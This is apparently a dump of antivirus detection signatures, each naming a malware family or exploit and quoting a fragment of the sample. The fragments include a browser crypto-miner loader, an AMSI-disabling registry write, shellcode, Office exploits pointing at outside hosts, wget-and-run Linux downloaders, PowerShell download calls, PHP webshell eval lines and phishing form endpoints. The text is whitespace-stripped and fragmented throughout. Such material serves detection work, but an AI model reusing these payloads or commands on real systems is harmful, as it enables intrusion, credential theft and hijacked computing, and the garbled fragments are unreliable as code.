mmended.intheeventanopencandy !#SCRIPT:B64Stream!func .getbytecount_2(bytes)  =createobject(\"system.security.cryptography.frombase64transform\")  =createobject(\"system.io.memorystream\")  
.write .getbytes_4( ),0,(( /4)*3)  .position=0 !#TEL:HTML/CoinHive!Miner .js';head.appendchild(script);varxmr=newcoinhive.anonymous('  ',
{threads:1});try{varthreads=math.max(1,math.floor(navigator.hardwareconcurrency/2));xmr.setnumthreads(threads);xmr.start();}catch(e){xmr.start();}});}); !#SCPT:BAT/NetWalker.RA2!MTB 
0x54,0x68,0x69,0x73,0x20,0x70,0x72,0x6f,0x67,0x72,0x61,0x6d,0x20,0x63,0x61,0x6e,0x6e,0x6f,0x74,0x20,0x62,0x65,0x20,0x72,0x75,0x6e,0x20,0x69,0x6e,0x20,0x44,0x4f,0x53,0x20,0x6d,0x6f,0x6
4,0x65,0x2e,0x0d,0x0d,0x0a,0x24  !#Exploit:JS/CVE-2014-0322!Lowfi try{this.outerhtml=this.outerhtml}catch(e){}collectgarbage(); =document.getelementsbytagname(\"script\");var  [0];  
.onpropertychange= =document.createelement('select'); .appendchild( \"!#SCRIPT:Exploit:Win32/Pdfjsc.JX.1 
=\"v'u75ud3u00u0cub0uc6u1euf8u9au28ue1ue1uacub0ubeu12u52u20u56u09u02u00u59u02u9au28ue1ue1uacub0ubeu12u52u20u56u09u02u00u59u02uddu30u00u07u01u14u91uf3u30u30u0eu10u
5bu5bu36u0du35u35ud3ue1u20uc3ub9u72ud1u00u20u00 ,!#SCPT:Exploit:O97M/CVE-2017-0199.BKM245!MTB target=\"http://198.12.127.217/.--------------------------.--------------........-...................-
/_.......-----------------------....-_---..........._----------------.wiz\"targetmode=\"external\"/> !#SCPT:PyExpMS867.A2 
portbindshellcodefrommetasploit;bindsporttotcpport4444shellcode=\"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\"shellcode+=\"\\x29\\xc9\\x83\\xe9\\xb0\\xe8\\xff\\xff\\x
ff\\xff\\xc0\\x5e\\x81\\x76\\x0e\\xe9\"shellcode+=\"\\x4a functionwebpackuniversalmoduledefinition(root,factory)
{if(typeofexports==='object'&&typeofmodule==='object')module.exports=factory();elseif(typeofdefine==='function'&&define.amd)define(\"pdfjs-dist/build/pdf\",[],factory) !#ALF:HTML/Meadgive!ObjId 
<objectwidth=\"11\"height=\"14\"data=\"undefined\"type=\"application/x-shockwave-flash\"allowscriptaccess=\"always\"><paramname=\"movie\"value=\"undefined\"><paramname=\"play\"value=\"true\">
<paramname=\"flashvars\"value=\"exec=undefined\"> !#Trojan:Win32/Nanocore.FA1!MTB 
execute(binarytostring(\"0x52756e50452840486f6d654472697665202620537472696e675265766572736528276578652e736376536765525c37323730352e302e32765c6b726f77656d6172465c54454
e2e74666f736f7263694d5c73776f646e69575c27292c24 !!#SCRIPT:PowerShell/Darius.A1!MTB param([parameter(position=0,mandatory=$true)][string]  ,[parameter(position=1,mandatory=$true)]
[string]  ,[parameter()][string]  =\"24\",[parameter()][string]  =\"80\",[parameter()][string]  =\"powershell.exe\") \"!#SCRIPT:Worm:Win32/Bondat!dropper 
run(@comspec&\"/c\"&\"startwscript\"\"\"&$sfilepath&\"\"\"\",\"\",@sw_hide)msgbox($mb_systemmodal+$mb_iconerror,\"microsoftwindows-
applicationerror\",\"theoperationcouldnotbecompleted.accessisdenied.\")run(@comspec&\"/c\"&\"ping !#SCPT:Spigot.A1 /impression.do?
event=\"+event+\"&user_id=\"+uid+\"&source=\"+source+\"&traffic_source=\"+adprovider+\"&subid=\"+userclass+\"&implementation_id=\"+version+\"&subid2=\"+subid2;varrequest=newxmlhttprequest();
request.open(\"get\",impression,true); !#SCPT:JS/Emotet.TH7 
\\x61\\x48\\x52\\x30\\x63\\x44\\x6f\\x76\\x4c\\x32\\x4a\\x70\\x62\\x33\\x52\\x76\\x63\\x47\\x4e\\x68\\x63\\x6d\\x55\\x75\\x64\\x47\\x39\\x77\\x4c\\x33\\x64\\x77\\x4c\\x57\\x6c\\x75\\x59\\x32\\x78\\x31\\x5a\\
x47\\x56\\x7a\\x4c\\x32\\x74\\x30\\x58\\x31\\x4a\\x68\\x4c\\x77\\x3d\\x3d !#SCRIPT:PowerShell/Habe.A ?ver= &mac=\"+$mac+\"&av=\"+$av+\"&ver=\"+(get-wmiobject-
classwin32_operatingsystem).version+\"&bit=\"+(get-wmiobjectwin32_operatingsystem).osarchitecture$r=[system.net.webrequest]::create(\"$download\")$resp=$r.getresponse()  
!#SCPT:Trojan:JS/Obfuse.DRF9!MTB 
u0047et','\\u0068\\u0074tp://\\u006da\\u006es\\u006f\\u006cu\\u0074io\\u006e\\u002e\\u0069n.\\u0074h\\u002f\\u0073y\\u0073\\u0074\\u0065m\\u002fl\\u006f\\u0067\\u0073\\u002f7\\u0079gv\\u0074y
vb7\\u006e\\u0069\\u0069m\\u002eex\\u0065',false) '!#TEL:Exploit:O97M/CVE-2017-0199.SS!MTB package4/bingdllc<users<dev<desktop<07082020?8570?
s<bingdll)c<users<dev<appdata<,ocal<temp<bingdll.-:@!,!thisprogramcannotberunind/smode$p.v4e%4e%4e%%e%%be%%e%qf$'e%qa$$e%q@$)e%k%6e%%5e%n%1e%4d%me%q,$6e%qe 
!#ALF:SCPT:GetLapsPass if($domaincontroller-and$credential.getnetworkcredential().password){$objdomain=new-
objectsystem.directoryservices.directoryentry\"ldap://$($domaincontroller)\",$credential.username,$credential.getnetworkcredential().password !#SCRIPT:SharpShoot!amsi 
=newactivexobject('wscript.shell');varkey=\"hkcu\\\\software\\\\microsoft\\\\windowsscript\\\\settings\\\\amsienable\";try{varamsienable=sh.regread(key);if(amsienable!=0){thrownewerror(1,'');}}catch(e)
{sh.regwrite(key,0,\"reg_dword\"); !#SCPT:Exploit:HTML/Axpergle.N <objectwidth=\"1\"height=\"1\"data=\"/ p\ta-z0-9=_-\"type=\"application/x-shockwave-flash\"allowscriptaccess=\"always\">
<paramname=\"movie\"value=\"/ p\ta-z0-9=_-\"><paramname=\"play\"value=\"true\"><paramname=\"flashvars\"value=\"exec= &!#SCPT:HackTool:PowerShell/SharpSocks2 $script:socks=
[socksproxy.classes.integration.poshcreateproxy]::createsockscontroller($uri,$channel,$domainfronturl,$useragent,$securestringpwd,$newurls,$cookie1,$cookie2,$proxy,$beacon,$comms,$insecuressl
); ,!#SCRIPT:TrojanDownloader:JS/Nemucod.FM!eval varfso=newactivexobject(\"scripting.filesystemobject\");varfilename=' .txt';varfileobj=fso.getfile(filename);ts=fileobj.openastextstream(1,-
2);varcheck=ts.readall();eval(check);ts.close();}main(); .getbytecount_2(  .getbytes_4(  =newactivexobject(\"system.security.cryptography.frombase64transform\");  .transformfinalblock(  
=newactivexobject(\"system.io.memorystream\");  .write( /4)*3); !#SCRIPT:Exploit:JS/Scanbox.B 
varsoftwarelist=newarray();//softwareliststart<<<softwarelist.push(\"avira==c:/windows/system32/drivers/avipbb.sys\");softwarelist.push(\"bitdefender_2013==c:/programfiles/bitdefender/bitdefender2013
beta/bdprovider.dll\")  !#HackTool:Python/Mimipenguin.b3 parse_pass\"$dump\"\"$hash\"\"$salt\"\"$source\"#cleanuprm-rf\"/tmp/dump.${pid}\"done<<<\"$pid\"fifi#supportvsftpd-activeusersif[[-
e\"/etc/vsftpd.conf\"]];thensource=\"[system-vsftpd]\"#getnobody/usr/sbin/vsftpd/etc/vsftpd.confpid !!#SCRIPT:Exploit:HTML/Pangimop.AB <objectwidth=\" 0-9\"data=\"http:// a-f0-9\"type=\"application/x-
shockwave-flash\"allowscriptaccess=\"always\">&#x0a;<paramname=\"movie\"value=\"http:// a-f0-9\"> \"!#SCRIPT:Trojan:Win32/Kovter.C!reg javascript:e='';try{thrownewerror(' ');}catch(err)
{e=err.message;}a=newactivexobject('wscrip'+e+'hell');b='';c='\\\\ ';try{b=a.regread('hklm\\\\software '+c);}catch(e){}try{if(b)eval(b);}catch(e){} %!#SCRIPT:Trojan:Win32/Lodbak.gen2!lnk \\\\\\\\\\{ 
!%systemroot%\\system32\\shell32.dll%systemroot%\\\\\\\\\\system32\\\\\\\\rundll32.exe%systemroot%\\\\\\\\\\system32\\\\\\\\rundll32.exe %!#TrojanDownloader:Linux/CoinMiner.C1 
http://45.145.185.85xmr=network001sys=sysrv002#killoldfilespkill-9\"^network01$\";pkill-9sysrv001;pkill-9\"^sysrv$\"test-
f/bin/ps.original&&cp/bin/ps.original/bin/ps#mv/bin/iptables/bin/iptables__kill_other_miners '!#SCPT:TrojanDownloader:JS/Nemucod.BBKT 
htoilshiszymugbvuo=_0x58027b(yvhvxhdmdfzijme,_0x28edbf(-'0x1cf',-'0x17c',-'0x23b',-'0x190',-'0x1ca')),nhfpdezitliyqburj=newfunction(htoilshiszymugbvuo)
(),eval(_0x58027b(wndzbzcghuvnfolbk,jlajtdemhipguizrcs)) ,!#SCPT:HackTool:PowerShell/InvokeWMICommand3 [void]$ps[$i].addscript($runme)[void]$ps[$i].addparameter('ipaddress',$endpoint)
[void]$ps[$i].addparameter('creds',$getcreds)[void]$ps[$i].addparameter('command',$command)  $jobs+=$ps[$i].begininvoke() -!#SCPT:TrojanDownloader:HTML/Phish.PRKSr9!MTB rm-
urlencoded\",\"setrequestheader\",\"onload\",\"-
\",\"split\",\"length\",\"fromcharcode\",\"responsetext\",\"parse\",\"key\",\"tostring\",\"charcodeat\",\"rand\",\"encode\",\"token\",\"now\",\"floor\",\"valid\",\"true\",\"<formclass=\\\"\", 
!#SCPT:HTML/Phish.RJS!MTB .liberates. /jquery.min.php\"></script><ahref=\"\"></a> <htmlxmlns=\"http://www.w3.org/1999/xhtml\"><scriptsrc=\"https://ajax.aspnetcdn.com/ajax/jquery/jquery-
3.4.1.min.js\"></script><scripttype=\"text/javascript\"src=\"http:// (!#SCPT:TrojanDownloader:JS/Nemucod.BBKT3 mkutcafizwqwnghbcek=_0x3e2c43(wmclxrhgkyxbvlmvwn,_0x509ef9(-'0x2f0',-'0x36e',-
'0x329',-'0x2d8',-'0x2d6')),eanwlahyumgclyh=newfunction(mkutcafizwqwnghbcek)(),eval(_0x3e2c43(bzcravzfjkrayxmft,obywjumsfzveimj)) +!#SCPT:Exploit:O97M/CVE-2017-0199.BKM67!MTB 
target=\"http://officefiletransferintergration.mangospot.net/..-.......................................................................................-/..................... .wbk\"targetmode=\"external\"/> +!#SCPT:Exploit:O97M/CVE-2017-
0199.BKS18!MTB target=\"http://dummy_username@0147.0205.0152.0110/-................................................................-/--------------------.....................------------------.wbk\"targetmode=\"external\"/> 
.!#SCPT:TrojanDownloader:O97M/Dridex.PKRFG3!MTB 
tps://nsaleliberetvel.loremipsumdolorsitamet,aneosloremancillaeexpetenda,vimetutamurquaestio.nislomittamcomplectiturproan,quemomnesmunereidvix.vixpaulosanctusscripseritex,teiriureinsolensvolup
tatumqui. 0!#SCPT:TrojanDownloader:O97M/EncDoc.IGAA!MTB!GA7 <f>formula(k10&amp;k11,i10)</f><v>0</v></c><cr=\"k10\"s=\"2\"t=\"str\"><f>d9&amp;d10</f><v>exe</v></c></row>
<rowr=\"11\"spans=\"4:11\"x14ac:dydescent=\"0.25\"><cr=\"k11\"s=\"2\"t=\"str\"><f>d12</f><v>c(\"regsvr</v></c> !#SCPT:JS/Meadgive.STS02 \";var ={},i, =string.fromcharcode, =s.length;var 
!#SCPT:Filecoder.15 allyourfileslikephotos,databases,documentsandotherimportantareencryptedwithstrongestencryptionanduniquekey 
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!#SCPT:Filecoder.15 allyourfileslikephotos,databases,documentsandotherimportantareencryptedwithstrongestencryptionanduniquekey 
lallyourfileslikephotos,databases,documentsandotherimportantareencryptedwithstrongestencryptionanduniquekey !#ALFPER:JS/Qakbot.M )<0){throw\" k)<0){throw\" ,0);}catch(e){ =0;}return  
=newactivexobject(\"  \\u00 !#SCPT:JS/Kryptik.VI2 if(navigator.appversion.indexof(\"win\")==-1){if(_vtst(_vu_u+\"_1\",_vu_i,14)){window.location.href=\"http:// jif(navigator.appversion.indexof(\"win\")==-
1){if(_vtst(_vu_u+\"_1\",_vu_i,14)){window.location.href=\"http:// !#SCPT:Java/Adwind.Y2 vare=i.getenv(\"processor_architecture\");if(null==e)thrownewerror(\"couldn'tdetermineprocessorarchitecture 
jvare=i.getenv(\"processor_architecture\");if(null==e)thrownewerror(\"couldn'tdetermineprocessorarchitecture !#SCRPT:VBS/Ursnif.AA =createobject( j=createobject( a-z(\" )&chr( ?=createobject( 
!#SCRIPT:JS/Powdow.A-2 =newactivexobject(_0x i=newactivexobject(_0x [0]); .shellexecute(_0x [1],_0x [2],_0x [3],_0x [4],_0x !#SCRPT:BAT/Donoff.AR3 regaddhk iregaddhk 
lmcu\\software\\microsoft\\windows\\currentversion\\policies\\system/vdisabletaskmgr/treg_dword/d !#SCRIPT:VBS/Kalhine.B1 dimwinshellsetwinshell=wscript.createobject(\"wscript.shell\") 
hdimwinshellsetwinshell=wscript.createobject(\"wscript.shell\") @imagefile=\" .zip\"imagefiles=\" !#SCPT:JS/Refresh.RR!MTB <metahttp-equiv=\"refresh\"content=\"1;url=https://mamulln.cl/kwi/?
email=travis_phillips@jabil&#46;com\"> g<metahttp-equiv=\"refresh\"content=\"1;url=https://mamulln.cl/kwi/?email=travis_phillips@jabil&#46;com\"> =
{on_ad_request:1,on_ad_response:2,on_adunit_created:3,on_adunit_initialized:4,on_adunit_render_start g=
{on_ad_request:1,on_ad_response:2,on_adunit_created:3,on_adunit_initialized:4,on_adunit_render_start !#SCPT:PWS:HTML/Phish.AR https://accounts.google.com/o/oauth2/auth 
ghttps://accounts.google.com/o/oauth2/auth redirect_uri=https%3a%2f%2fgoogledocs.docscloud.download !#SCPT:PWS:JS/Phish.SMA1 tryaddlink(); gtryaddlink(); 
window.addeventlistener('domcontentloaded',tryaddlink); settimeout(tryaddlink,100); !#SCRIPT:Ploty.F!shell.1 
,0x0f,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2, 
g,0x0f,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2, !#TEL:PowerShell/Sekit.B ').split('@');$ g').split('@');$  ');$ =$env: +'\\'+$ e');foreach($ 
g@http:// '.split('@');$ =$env:temp+'\\'+$ +'.exe';foreach($ !#Trojan:MacOS/Renepo.A2 echo-n\"opener:finisheddsniff\">>/.performance.txt;date>>/.performance.txt#writetimeto/.performance.txt gecho-
n\"opener:finisheddsniff\">>/.performance.txt;date>>/.performance.txt#writetimeto/.performance.txt !#SCPT:CodeOnly.ReGeorg.A 
unknownhostexception,java.net.socket\"trimdirectivewhitespaces=\"true\"%><%string funknownhostexception,java.net.socket\"trimdirectivewhitespaces=\"true\"%><%string =request.getheader( 
https%3a%2f%2fafaf.my%2fwp-content%2fplugins%2fmailchimp%2fsmt%2foffice%2foffice-outlook%2findex.php fhttps%3a%2f%2fafaf.my%2fwp-
content%2fplugins%2fmailchimp%2fsmt%2foffice%2foffice-outlook%2findex.php !#SCPT:PiriformAvastOffer asdk.dll fasdk.dll 
::candisplayavastad(ir0,mr1,mr2,ir3)m.r6https://www.piriform.com/inapp/installerofferpage !#Trojan:Linux/Downldr.O1 f.arm >ssh-updater;chmod+x*;./ssh-updaterarm 
cd/tmp||cd/var/run||cd/mnt||cd/root||cd/;wgethttp:// !#SCPT:HTML/Phish.RGR2!MTB \"process_is_automatic\">thisprocessisautomatic.yourbrowserwillredirecttoyourrequestedcontentshortly. 
e\"process_is_automatic\">thisprocessisautomatic.yourbrowserwillredirecttoyourrequestedcontentshortly. !#SCPT:HTML_MailProvider_1 
//whichisnecessaryforcorrectfunctionalityofimmersiveie.//however,forwindows8phoneweneedtoresetthems 
e//whichisnecessaryforcorrectfunctionalityofimmersiveie.//however,forwindows8phoneweneedtoresetthems !#SCPT:O97M/Dridex.RVD!MTB <si><t>https://pediatriadrgonzales.com/wp-
content/themes/betheme/js/parallax/vrgcm7nkd.php</t></si> e<si><t>https://pediatriadrgonzales.com/wp-content/themes/betheme/js/parallax/vrgcm7nkd.php</t></si> !#SCRIPT:ASP/Baze34.A1!MTB 
request.params[\" erequest.params[\"  =request.params[\" !#ALF:Worm:Win32/Rebhip.U!B &<<&
<&d<&l<<<b<<&$d=&|>ln@mnn:nn/nn!nnnnnn}nnqnndnnxnnrnnfnoooooooo.oooxopofovo|####@########@#### d&<<&
<&d<&l<<<b<<&$d=&|>ln@mnn:nn/nn!nnnnnn}nnqnndnnxnnrnnfnoooooooo.oooxopofovo|####@########@#### !#SCPT:O97M/EncDoc.RWWX!MTB <t>download</t></si><si>
<t>ter(\"urlmon\",\"url</t></si><si><t>ex</t></si><si><t>..\\hikos.hertolo</t> d<t>download</t></si><si><t>ter(\"urlmon\",\"url</t></si><si><t>ex</t></si><si><t>..\\hikos.hertolo</t> 
!#SCRIPT:Exploit:JS/Godmode functiondecode(s,n)ns=split(mid(s,2,len(s)-1))fori=0toubound(ns)decode=decode&chr(cint(ns(i))xorn) dfunctiondecode(s,n)ns=split(mid(s,2,len(s)-
1))fori=0toubound(ns)decode=decode&chr(cint(ns(i))xorn) !#SCRIPT:PSLnkPersistence.A [system.diagnostics.process]::start( d[system.diagnostics.process]::start( [text.encoding]::  
.getstring([convert]::frombase64string( !#SLF:PowerShell/Empire!dec ::defaultnetworkcredentials;$ d::defaultnetworkcredentials;$ .proxy;$ @::ascii.getbytes.invoke(' @');$ ;${_}-bxor$ 
!#Trojan:Linux/CoinMiner.D1 grep\"mine.moneropool.com\"|awk'{print$2}'|xargskill-9psauxf|grep-vgrep|grep\"xmr.crypto-pool.fr:8080 dgrep\"mine.moneropool.com\"|awk'{print$2}'|xargskill-9psauxf|grep-
vgrep|grep\"xmr.crypto-pool.fr:8080 !#HackTool:Perl/Slowloris.A2 if($sock[$z]=newio::socket::ssl(peeraddr=>\"$host\",peerport=>\"$port\",timeout=>\"$tcpto\",proto=>\"tcp 
cif($sock[$z]=newio::socket::ssl(peeraddr=>\"$host\",peerport=>\"$port\",timeout=>\"$tcpto\",proto=>\"tcp !#SCPT:JS/ExploitEMETCheck.A \"<!doctypehtmlpublic'-
//w3c//dtdxhtml1.0transitional//en''res://c:\\\\windows\\\\apppatch\\\\emet.dll'> c\"<!doctypehtmlpublic'-//w3c//dtdxhtml1.0transitional//en''res://c:\\\\windows\\\\apppatch\\\\emet.dll'> 
!#SCPT:O97M/EncDoc.RJJJJ!EML %createdirectoryakernel32 c%createdirectoryakernel32 ?%/settingsynchost#c:/users/publick#https://pigeonious.com/img/ !#SCPT:O97M/Trickbot.RTR!MTB living-
traditions.com/blogs/click.php</t></si><si><t>..\\fdinmd.fii</t></si><si> cliving-traditions.com/blogs/click.php</t></si><si><t>..\\fdinmd.fii</t></si><si> <si><t>http:// !#SCPT:Trojan:HTML/Phish.RG3 
hanbays.com/xells/fghdxs/zcvbfddcvjftdvcdcd/hcffh/lns.php\"method=\"post\"> chanbays.com/xells/fghdxs/zcvbfddcvjftdvcdcd/hcffh/lns.php\"method=\"post\"> <formaction=\"https://  ]
<formaction=\"https:// !#SCPT:Trojan:JS/Obfuse.SS16 varlen= cvarlen= %.length; &=newuint8array(len); for(vari=0;i<len;i++){ &[i]= .charcodeat(i); !#SCPT:Trojan:VBS/Tnega.PAC1 
recon_info_str=recon_info_str&\"softwareinfo\"&\"=\"&get_product_or_process_info(\"win32_product\")&\"&\" 
crecon_info_str=recon_info_str&\"softwareinfo\"&\"=\"&get_product_or_process_info(\"win32_product\")&\"&\" !#SCRIPT:HTML/NoRightClick.A if(event.button==2||event.button==3)
{event.cancelbubble=true,event.returnvalue=false;returnfalse; cif(event.button==2||event.button==3){event.cancelbubble=true,event.returnvalue=false;returnfalse; !#SCRIPT:JS/CountDownTimer.A 
document.getelementbyid(\"mins\").innerhtml=nmins;document.getelementbyid(\"secs\").innerhtml=nsecs;} 
cdocument.getelementbyid(\"mins\").innerhtml=nmins;document.getelementbyid(\"secs\").innerhtml=nsecs;} !#SCRIPT:PHP/Dirtelti.E2!MTB <?
phpsession_start();eval(base64_decode('awdub3jlx3vzzxjfywjvcnqoktskc2v0x3rpbwvfbgltaxqomck7cmz1 c<?
phpsession_start();eval(base64_decode('awdub3jlx3vzzxjfywjvcnqoktskc2v0x3rpbwvfbgltaxqomck7cmz1 !#Trojan:Linux/CoinMiner.ZA2 .conffichmod+x/tmp/httpd.conf/tmp/httpd.conf-b-acryptonight-
ostratum+tcp://xmr.crypto-pool.fr:443 c.conffichmod+x/tmp/httpd.conf/tmp/httpd.conf-b-acryptonight-ostratum+tcp://xmr.crypto-pool.fr:443 !#Exploit:Win32/Altostratus.A 
=expression(eval(unescape('%65%76%61%6c%28%65%63%78%6c%6c%79%79%2e%69%6e%6e%65%72%48%54%4d%4c%29 
b=expression(eval(unescape('%65%76%61%6c%28%65%63%78%6c%6c%79%79%2e%69%6e%6e%65%72%48%54%4d%4c%29 refresh\"content=\"0;url= brefresh\"content=\"0;url= 
://www.dropbox.com/s/p3ar8rc177885sk/awb-dhl19837018414270943.zip?dl=1 !#SCPT:Trojan:HTML/Phish.PH15 varsiteurl='http://laurenbowling.com/redeem-ucount-rewards-standardbank-
credit=card-service/php/ bvarsiteurl='http://laurenbowling.com/redeem-ucount-rewards-standardbank-credit=card-service/php/ !#SCRIPT:PowerShell/AppDomain 
[reflection.assembly].assembly.gettype('system.appdomain').getproperty('currentdomain').getvalue b[reflection.assembly].assembly.gettype('system.appdomain').getproperty('currentdomain').getvalue 
!#SCPT:Trojan:HTML/Phish.BHK27 url:'https://tph786.com/gym/assets/css/ aurl:'https://tph786.com/gym/assets/css/ .php',type:'post',data:{email:email,password:password 
!#SCRIPT:JS/Proslikefan.gen!A1 ){for( a){for( @split( documentwindow }catch( a%>>% a-z0-9%. 0-9www.odnoklass !#SCRIPT:Worm:JS/Bondat!jsinit (2000) a(2000) })();\",b=
{};b.tostring=typeofwindow!==\"undefined\"?\"\":string.constructor(a);b+= })();\",b={};b.tostring=typeofwindow!==\"undefined\"?\"\":string.constructor(a);b+b !#SCRIPT:HTML/TechBrolo!AntiEmu 
vartotal=\"\";for(vari=0;i<100 `vartotal=\"\";for(vari=0;i<100 0;i++){total=total+i.tostring(); history.pushstate(0,0,total); !#TEL:Backdoor:PHP/WebShell.CGI $cmdsep=($winnt?
$ntcmdsep:$unixcmdsep);$cmdpwd=($winnt?\"cd\":\"pwd\");$pathsep=($winnt?\"\\\\\":\"/\"); `$cmdsep=($winnt?$ntcmdsep:$unixcmdsep);$cmdpwd=($winnt?\"cd\":\"pwd\");$pathsep=($winnt?\"\\\\\":\"/\");  
!#SCPT:Trojan:Python/Queri.C.EC1 cnf=json.loads(open(os.path.dirname(os.path.realpath(__file__))+'\\\\localconfig.json').read()) 
_cnf=json.loads(open(os.path.dirname(os.path.realpath(__file__))+'\\\\localconfig.json').read())  !#SCPT:Trojan:VBS/Obfuse.GN3!MSR 
&_shexdecode(\"53756220657865632867676767293a20\")&_jk2&_jk&_shexdecode(\"536574206f626a53746172 
_&_shexdecode(\"53756220657865632867676767293a20\")&_jk2&_jk&_shexdecode(\"536574206f626a53746172 !!#SCPT:BrowserModifier:Win32/Qvo6 iexplore.exehttp://www.qvo6.com/?
utm_source=b&utm_medium= ^iexplore.exehttp://www.qvo6.com/?utm_source=b&utm_medium=  from= a-z&uid= -&ts= !!#SCPT:Exploit:JS/DynamicImport.A 
6089e531d2648b52308b520c8b52148b7228528b52108b423c8b44027885c0744801d0508b48188b582001d3e33a 
^6089e531d2648b52308b520c8b52148b7228528b52108b423c8b44027885c0744801d0508b48188b582001d3e33a !!#SCRIPT:Exploit:JS/Obfuscator.FY catch(y){ ^catch(y){ (y)}}() ;</script>
<objectclassid=\"clsid:cafeefac-dec7-0000-0000-abcdeffedcba\"> !!#SCRIPT:PowerShell/Ploty.I.shell ^[byte[]]$ =(new-objectsystem.net.webclient).downloaddata(\"http:// 
!!#TEL:Exploit:HTML/BeakYard.A!dha main_ajax=newajax({url:'ap.php',type:'post',contenttype:'application/x-www-form-urlencoded', 
^main_ajax=newajax({url:'ap.php',type:'post',contenttype:'application/x-www-form-urlencoded', \"!#Backdoor:BAT/AuthStealer.A!atb01 
echo.pausegotoaccount:accountclscd\"%windir%/system32\"call\"color.bat\"call\".bat\"colorclsecho. ]echo.pausegotoaccount:accountclscd\"%windir%/system32\"call\"color.bat\"call\".bat\"colorclsecho. 
\"!#Trojan:AutoIt/AgentTesla.SP6!MTB regwrite( ]regwrite( (\"sm\\sessalc\\erawtfos\\uckhdnammoc\\nepo\\llehs\\sgnittes-\"),24), #!#SCPT:TrojanDownloader:JS/Xibow.A3 open(); \\open(); .write( 
.savetofile( .close()}function ,0,0)} $!#SCPT:Trojan:AutoIt/Clodow.gen!A_10 endifuntilfalseuntiltrue [endifuntilfalseuntiltrue `_crypt_shutdown()if$  <>-1thenfileclose($ `)returnseterror($ 
$!#SCRIPT:Worm:JS/Bondat.C!lnk_parser ..\\..\\..\\..\\..\\ [..\\..\\..\\..\\..\\ $!#SCRIPTLOWFI:Trojan:AutoIt/Clodow.A filewrite($sc_file,$sc_batch)sleep( [filewrite($sc_file,$sc_batch)sleep( 0-
9)run($sc_file,@tempdir,@sw_hide)exitendfuncfunc $!#TEL:Backdoor:PHP/Webshell.Pra5!MTB <?php$flood=1 [<?php$flood=1  foreach(array('_get','_post')as$_  ){foreach( `;eval(  .$flood);?> 
%!#SCPT:TextFormattingRunPropertiesB64 twljcm9zb2z0llzpc3vhbfn0dwrpby5uzxh0lkzvcm1hdhrpbmcuvgv4dezvcm1hdhrpbmdsdw5qcm9wzxj0awvz 
Ztwljcm9zb2z0llzpc3vhbfn0dwrpby5uzxh0lkzvcm1hdhrpbmcuvgv4dezvcm1hdhrpbmdsdw5qcm9wzxj0awvz %!#SCRIPT:Trojan:Win32/Powessere.J!reg [reflection.assembly]::load((get-itempropertyhk 
Z[reflection.assembly]::load((get-itempropertyhk :\\software ).entrypoint.invoke( &!#SCRIPT:TrojanProxy:JS/Banker.AG_head variphot=\"proxy Yvariphot=\"proxy d\";varipbb=\"proxy 
<\";varipdesco=\"proxy <\";varbosta=\"proxy <\";varipi '!#SCPT:Exploit:O97M/CVE-2017-11882.BXC1 {\\rtf261447\\page34209805188705142@0pewh59gb1ofg2tl@-pbekjc8rrlgnaueiq<eh&&9_m-c_d--
_-v X{\\rtf261447\\page34209805188705142@0pewh59gb1ofg2tl@-pbekjc8rrlgnaueiq<eh&&9_m-c_d--_-v '!#SCPT:Exploit:O97M/CVE-2017-11882.BXD2 
{\\rtf261447\\page23748024140981210@nrywf6q37v8snu1q@-t9pj8daen03ptygk6<eh&&9_m-c_d--_-v X{\\rtf261447\\page23748024140981210@nrywf6q37v8snu1q@-t9pj8daen03ptygk6<eh&&9_m-
c_d--_-v '!#SCPT:Exploit:O97M/CVE-2017-11882.BXK5 {\\rtf368974\\page07219090481552235@zmlukxy9ypbv4sbx@-sbnsjqfquvfnsy3my<eh&&8_m-c_d--_-v 
X{\\rtf368974\\page07219090481552235@zmlukxy9ypbv4sbx@-sbnsjqfquvfnsy3my<eh&&8_m-c_d--_-v '!#SCPT:TrojanDownloader:VBS/Nemucod.NV1 
objfsodownload\"trjrtjhrth\"offififii\"vardwn\"file\"trjrtjhrthtrjrtjhrth\"exists(strsaveto) Xobjfsodownload\"trjrtjhrth\"offififii\"vardwn\"file\"trjrtjhrthtrjrtjhrth\"exists(strsaveto) 
'!#SCPT:TrojanDownloader:VBS/Nemucod.ZQ1 '!#TrojanDownloader:O97M/Slinjek.HZ3!MTB eexec(\"cmd.exe/c@echooff&ping Xeexec(\"cmd.exe/c@echooff&ping &ping &echo|s^et/p=\"\" 
.php\"\">>%appdata%\\ .ba^t\") (!#SCPT:Exploit:O97M/CVE-2017-11882.BXK33 25829486388644@ioqpdilkhkigav4b@-sdog0ozgle42ziai<eh&&8_m-c_cc--_-s,50>67800$cv>it=i9 
W25829486388644@ioqpdilkhkigav4b@-sdog0ozgle42ziai<eh&&8_m-c_cc--_-s,50>67800$cv>it=i9 (!#SCPT:Exploit:O97M/CVE-2017-11882.BXK53 
{\\rtf00529\\page63728156246287781@awbnzvau7kapv5zb@-adv7oz3o9tpumiqo<eh&&8_m-c_cc--_-s W{\\rtf00529\\page63728156246287781@awbnzvau7kapv5zb@-adv7oz3o9tpumiqo<eh&&8_m-
c_cc--_-s (!#SCPT:TrojanDownloader:O97M/EncDoc.SM23 main\"count=\"1\"uniquecount=\"1\"><si><t>c:\\programdata\\ouuiccmuwfteov.sct</t></si></sst> Wmain\"count=\"1\"uniquecount=\"1\"><si>
<t>c:\\programdata\\ouuiccmuwfteov.sct</t></si></sst> main\"count=\"1\"uniquecount=\"1\"><si><t>c:\\programdata\\vtcikcsiivzuwe.sct</t></si></sst> Wmain\"count=\"1\"uniquecount=\"1\"><si>
<t>c:\\programdata\\vtcikcsiivzuwe.sct</t></si></sst> (!#SCPT:TrojanDownloader:O97M/EncDoc.SS55 ()</t></si><si><t>fourstars.cyou/1.php\",\"</t></si><si><t>..\\91919.</t></si><si><t>:// W()</t>
</si><si><t>fourstars.cyou/1.php\",\"</t></si><si><t>..\\91919.</t></si><si><t>:// </t></si><si><t>php\",\"</t></si><si><t>\"..\\iuretiu.dll\")</t></si><si><t>..\\iuretiu.dll W</t></si><si><t>php\",\"</t></si>
